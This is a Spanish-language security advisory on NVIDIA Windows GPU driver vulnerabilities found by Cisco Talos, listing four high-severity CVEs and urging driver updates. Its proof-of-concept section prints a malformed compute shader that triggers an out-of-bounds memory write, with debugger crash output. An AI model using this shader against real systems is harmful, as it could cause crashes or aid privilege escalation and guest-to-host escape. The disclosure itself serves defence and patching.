NVIDIA corrige vulnerabilidades en los controladores de pantalla de la GPU de Windows

Nvidia GeForce 466.77 ofrece gran cantidad de optimizaciones de juegos - ES  Atsit

NVIDIA ha lanzado una actualización de seguridad para una amplia gama de modelos de tarjetas gráficas, que aborda cuatro vulnerabilidades de gravedad alta y seis de gravedad media en sus controladores de GPU. La actualización de seguridad corrige vulnerabilidades que pueden provocar denegación de servicio, divulgación de información, elevación de privilegios, ejecución de código, etc. Estas actualizaciones están disponibles para los productos de software Tesla, RTX/Quadro, NVS, Studio y GeForce, y cubren las ramas de controladores R450, R470 y R510.

Impacto de la vulnerabilidad

Cisco Talos descubrió recientemente cuatro vulnerabilidades en el controlador NVIDIA D3D10 para tarjetas gráficas que podrían permitir que un atacante corrompa la memoria y escriba memoria arbitraria en la tarjeta. Un atacante podría explotar estas vulnerabilidades enviando al objetivo un archivo ejecutable o de sombreado especialmente diseñado. Estos problemas también podrían permitir que un adversario realice un escape de invitado a host si se dirigen a una máquina invitada que ejecuta entornos de virtualización.

Estas vulnerabilidades requieren privilegios bajos y ninguna interacción del usuario, por lo que podrían incorporarse al malware, lo que permitiría a los atacantes ejecutar comandos con privilegios más altos. Las cuatro fallas de alta gravedad corregidas este mes son:

  • CVE-2022-28181 (CVSS v3 score: 8.5) : Escritura fuera de los límites en la capa del modo kernel provocada por un sombreador especialmente diseñado enviado a través de la red, lo que puede conducir a la ejecución de código, denegación de servicio, aumento de privilegios, divulgación de información y manipulación de datos.
  • CVE-2022-28182 (CVSS v3 score: 8.5) : Fallo en el controlador de modo de usuario de DirectX11 que permite a un atacante no autorizado enviar un archivo compartido especialmente diseñado a través de la red y causar denegación de servicio, aumento de privilegios, divulgación de información y manipulación de datos.
  • CVE-2022-28183 (CVSS v3 score: 7.7) : Vulnerabilidad en la capa del modo kernel, donde un usuario normal sin privilegios puede provocar una lectura fuera de los límites, lo que puede provocar la denegación de servicio y la divulgación de información.
  • CVE-2022-28184 (CVSS v3 score: 7.1) : Vulnerabilidad en el controlador de capa de modo kernel (nvlddmkm.sys) para DxgkDdiEscape, donde un usuario normal sin privilegios puede acceder a registros con privilegios de administrador, lo que puede provocar denegación de servicio, divulgación de información y manipulación de datos.

Un archivo ejecutable/shader puede provocar daños en la memoria. Esta vulnerabilidad podría activarse potencialmente desde máquinas invitadas que ejecutan entornos de virtualización, es decir, VMware, qemu, VirtualBox, etc. , para realizar un escape de invitado a host. Teóricamente, esta vulnerabilidad también podría activarse desde un navegador web usando webGL y webassembly. Los modelos de equipos DGXA100 (14) y A16(2) no se ven afectados por esta vulnerabilidad, por lo tanto , no se encuentran dentro de los modelos vulnerables.

Prueba de concepto

Los investigadores pudieron desencadenar esta vulnerabilidad desde el invitado de HYPER-V basado en el CVE-2022-28181, mediante la función RemoteFX, lo que llevó a ejecutar el código vulnerable en el host de HYPER-V (dentro del proceso rdvgm.exe). Si bien Microsoft dejó de usar RemoteFX recientemente, es posible que algunas máquinas más antiguas aún usen este software, por ejemplo, aquellas que ejecutan una versión anterior de Windows Server.

Esta vulnerabilidad se puede desencadenar al proporcionar un Sombreadores de con formato incorrecto. Esto conduce a un problema de corrupción de memoria en el controlador de NVIDIA. Al acceder al registro temporal x fuera del tamaño definido, que normalmente está definido por la instrucción dcl_indexable, que declara un registro temporal indexable, es posible provocar una escritura de memoria arbitraria.

A continuación se detalla la prueba de concepto:

Sample shader:

cs_5_0
dcl_global_flags refactoringAllowed
dcl_input vThreadGrouID.xy
dcl_input vThreadID.xy
dcl_temps 4
dcl_indexable_temp x0[32], 4
mov x0[v0.w].x, l(1.1)

Debugger output:

00007ffb`12f6cb2b 48890417        mov     qword ptr [rdi+rdx],rax ds:baadf00d`0000000a=????????????????
0:012> r
rax=0000000000000000 rbx=0000000000000000 rcx=000001e3baa206c8
rdx=baadf00d0000000a rsi=000001e3baa206a8 rdi=0000000000000000
rip=00007ffb12f6cb2b rsp=0000001e96feeb20 rbp=0000000000000000
 r8=000000000000000a  r9=000000000000000a r10=00000000811c9dc5
r11=0000000000000001 r12=0000000000000003 r13=0000000000000004
r14=000001e3baa1a7b0 r15=0000001e96feec68

Crash information:

0:012> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

*** WARNING: Unable to verify checksum for POC_EXEC11.exe

KEY_VALUES_STRING: 1

	Key  : AV.Fault
	Value: Read

	Key  : Analysis.CPU.Sec
	Value: 0

	Key  : Analysis.DebugAnalysisProvider.CPP
	Value: Create: 8007007e on IAMLEGION

	Key  : Analysis.DebugData
	Value: CreateObject

	Key  : Analysis.DebugModel
	Value: CreateObject

	Key  : Analysis.Elapsed.Sec
	Value: 51

	Key  : Analysis.Memory.CommitPeak.Mb
	Value: 77

	Key  : Analysis.System
	Value: CreateObject

	Key  : Timeline.OS.Boot.DeltaSec
	Value: 78046

	Key  : Timeline.Process.Start.DeltaSec
	Value: 44


NTGLOBALFLAG:  470

PROCESS_BAM_CURRENT_THROTTLED: 0

PROCESS_BAM_PREVIOUS_THROTTLED: 0

APPLICATION_VERIFIER_FLAGS:  0

FAULTING_THREAD:  00002fb8

PROCESS_NAME:  POC_EXEC11.exe

READ_ADDRESS:  ffffffffffffffff 

ERROR_CODE: (NTSTATUS) 0xc0000005 - Instrukcja w 0x%p odwo a a si  do pami ci pod adresem 0x%p. Pami   nie mo e by  %s.

EXCEPTION_CODE_STR:  c0000005

EXCEPTION_PARAMETER1:  0000000000000000

EXCEPTION_PARAMETER2:  ffffffffffffffff

SYMBOL_NAME:  nvwgf2umx!NVDEV_Thunk+358eeb

MODULE_NAME: nvwgf2umx

IMAGE_NAME:  nvwgf2umx.dll

STACK_COMMAND:  ~12s ; .cxr ; kb

FAILURE_BUCKET_ID:  INVALID_POINTER_READ_c0000005_nvwgf2umx.dll!NVDEV_Thunk

BUCKET_ID_MODPRIVATE: 1

OS_VERSION:  10.0.19041.1

BUILDLAB_STR:  vb_release

OSPLATFORM_TYPE:  x64

OSNAME:  Windows 10

FAILURE_ID_HASH:  {dd25751c-f187-50b1-f643-86818a26af0d}

Followup:     MachineOwner
---------

Listado de IOCs

  • SYMBOL_NAME: nvwgf2umx!NVDEV_Thunk+358eeb
  • IMAGE_NAME: nvwgf2umx.dll
  • FAILURE_BUCKET_ID: INVALID_POINTER_READ_c0000005_nvwgf2umx.dll!NVDEV_Thunk
  • OS_VERSION: 10.0.19041.1
  • FAILURE_ID_HASH: {dd25751c-f187-50b1-f643-86818a26af0d}
  • PROCESS_NAME: POC_EXEC11.exe

Recomendaciones

Cisco Talos trabajó con NVIDIA para garantizar que estos problemas se resuelvan y que haya una actualización disponible para los clientes afectados, todo en cumplimiento de la política de divulgación de vulnerabilidades de Cisco.

  • Se recomienda a todos los usuarios que apliquen las actualizaciones de seguridad publicadas lo antes posible.
  • Los usuarios pueden descargar el último controlador para su modelo de GPU desde la sección central de descargas de NVIDIA, donde pueden seleccionar el producto específico y el sistema operativo que están utilizando.

Para mas información